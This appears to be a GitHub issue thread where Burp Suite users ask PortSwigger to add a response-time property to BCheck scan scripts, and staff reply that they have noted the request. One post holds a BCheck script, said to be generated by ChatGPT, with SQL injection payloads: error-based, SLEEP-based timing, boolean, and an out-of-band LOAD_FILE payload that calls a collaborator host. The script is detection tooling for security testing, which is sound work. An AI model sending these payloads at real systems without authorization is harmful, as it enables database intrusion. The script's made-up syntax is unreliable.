Add response.time property

[Sh1Yo]

Sometimes it's necessary to compare the times that a server spent for a response so this property will be very useful.

[A-J-C]

Great point, it would open up a whole new avenue for timing based attacks.

[mrrootsec]

Yes please,it would be very helpful in time based attacks detection.

[abdilahrf]

👍

[ayadim]

Any news about this enhancement ? until now am creating a bcheck script with time-based payloads but the detection is not possible so am reading the Logger to detect time based issues.

[Sh1Yo]

Remembered this thing after receiving a notification and decided to add a random thought -- maybe solve problems that aren't allowing adding normal scripting like python3 in turbo intruder? The main reason I am not using bchecks and probably won't use it ever is because there's not enough functionality. Moreover, it seems impossible to add every possible function somebody will need.

[Michelle-PortSwigger]

We're currently working on what will go into the next iteration. We're at the early stages, though, so we can't make any promises yet... we've got quite a few contenders for the time available.

It’s great to hear you’re enjoying using BChecks and want to push them further :)

[ZeeshanDarasa]

Was creating a DoS detection bCheck for an application known to have DoS issues, need the response.time field

[Michelle-PortSwigger]

Thanks for getting in touch. We'll add your vote for this feature. We don't have any timescales as yet, we're still tracking how many people would find this useful and will use this information to help us prioritize new features.

[marz-hunter]

adding response.time is very useful for time based SQLi templates (because default SQLi in burp is very noisy) by adding response.time user can custom set only ONE blind sqli payload and this will not cause noise and speed up the scanning process.

[Hannah-PortSwigger]

Thanks for your feedback. We've registered your interest in this functionality.

[kenyon-wong]

I am still conservatively troubled by the following rules generated by ChatGPT, and hope to add .time-related parameters. I find the current syntax rules a bit strange. Could you add usage instructions for all available functions in the official documentation? This would make it easier for users new to bchecks to quickly confirm whether they can use the functions they expect to use.

metadata:
    language: v2-beta
    name: "Advanced SQL Injection Detection"
    description: "Detects SQL injection vulnerabilities using error-based, time-based, and boolean-based techniques"
    author: "Assistant"
    tags: "sql-injection", "security", "web"

define:
    sql_errors = "SQL syntax|MySQL Error|ORA-|SQLite3::SQLException|SQLSTATE|Microsoft SQL Server|PostgreSQL ERROR"
    
    time_threshold = "5000"
    
    length_threshold = "20"

    error_payloads = "' OR '1'='1, ' OR 1=1--, ' UNION SELECT NULL--"
    time_payloads = "' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--, ' AND SLEEP(5)--, ' AND 1=IF(1=1,SLEEP(5),1)"
    boolean_payloads = "' AND 1=1--, ' AND 1=2--, ' AND 'a'='a, ' AND 'a'='b"

given query or body insertion point then
    send payload called error_check:
        replacing: {error_payloads}
    
    if {error_check.response} matches {sql_errors} then
        report issue:
            severity: high
            confidence: firm
            name: "SQL Injection (Error-based)"
            detail: "A potential SQL injection vulnerability was detected based on error messages in the response. The application appears to be vulnerable to SQL injection attacks, which could allow an attacker to manipulate or retrieve data from the database."
            remediation: "To fix this vulnerability, use parameterized queries or prepared statements instead of concatenating user input into SQL queries. Additionally, implement proper input validation and sanitization, and consider using an ORM (Object-Relational Mapping) library to handle database interactions securely."
    end if

    send payload called time_check:
        replacing: {time_payloads}
    
    if {time_check.response.time_elapsed} > {time_threshold} then
        report issue:
            severity: high
            confidence: firm
            name: "SQL Injection (Time-based)"
            detail: "A potential time-based SQL injection vulnerability was detected. The application's response time increased significantly when a time delay payload was injected, indicating that the input is being evaluated within a SQL query."
            remediation: "To address this vulnerability, use parameterized queries or prepared statements to separate SQL logic from user input. Implement proper input validation and consider using stored procedures or an ORM library for database interactions."
    end if

    send payload called boolean_check_true:
        replacing: "' AND 1=1--"
    
    send payload called boolean_check_false:
        replacing: "' AND 1=2--"
    
    if {boolean_check_true.response.body.length} - {boolean_check_false.response.body.length} > {length_threshold} then
        report issue:
            severity: high
            confidence: firm
            name: "SQL Injection (Boolean-based)"
            detail: "A potential boolean-based SQL injection vulnerability was detected. The application's response length differed significantly between true and false conditions, indicating that the input is being evaluated within a SQL query."
            remediation: "To mitigate this vulnerability, use parameterized queries or prepared statements to separate SQL logic from user input. Implement strict input validation and consider using an ORM library or stored procedures for database interactions."
    end if

    send payload called oob_check:
        replacing: "' UNION SELECT NULL FROM (SELECT(SELECT LOAD_FILE(CONCAT('\\\\',{generate_collaborator_address()},'\\abc'))))a--"
    
    if {oob_check.collaborator_interaction} then
        report issue:
            severity: high
            confidence: certain
            name: "SQL Injection (Out-of-band)"
            detail: "An out-of-band SQL injection vulnerability was detected. The application made an external DNS request as a result of the injected payload, indicating that the input is being evaluated within a SQL query and can trigger out-of-band interactions."
            remediation: "To fix this critical vulnerability, use parameterized queries or prepared statements to separate SQL logic from user input. Implement strict input validation, use least-privilege database accounts, and consider using an ORM library or stored procedures for database interactions. Additionally, review and restrict outbound network access from the database server."
    end if

[Hannah-PortSwigger]

Hi @kenyon-wong

Could you provide some additional clarifications around what you mean by "usage examples"?

We have various examples available in our documentation, as well as having some worked example BChecks available.

[kenyon-wong]

Hi @kenyon-wong

Could you provide some additional clarifications around what you mean by "usage examples"?

We have various examples available in our documentation, as well as having some worked example BChecks available.

Thank you very much for your patient guidance. I sincerely apologize for my previous oversight.

At your reminder, I carefully read the "Reserved variables" section in the bcheck-definition-reference and indeed found the list of all available variables. This was important information that I had overlooked earlier, and I apologize again for this.

Returning to the main topic of this issue, I would like to elaborate on my suggestions:

1. Support for response.body.time: This could help developers analyze response times more precisely, which would be particularly useful for detecting certain types of vulnerabilities (such as time-based blind injections).

2. Support for response.body.length: This variable would allow developers to more conveniently check the size of the response body, aiding in identifying abnormal responses or conducting specific security tests.

The addition of these two variables could provide more flexibility and functionality to BCheck scripts, making security testing more comprehensive and efficient.

I understand that this might require additional development work, but I believe it would greatly enhance the functionality of BurpSuite. If you find these suggestions valuable, would you consider implementing them in future versions?

Thank you again for your attention and feedback.

[Hannah-PortSwigger]

Hi @kenyon-wong

I'm glad that the documentation has been helpful for you!

We do already have feature requests for your two points, so I've added your +1 to these.
Unfortunately, we don't plan to make further changes to the BCheck language in the short term. However, when we next come to make changes, we will be using feedback from users to help guide us in new features for the language.

If there's anything else we can help with, then please let us know.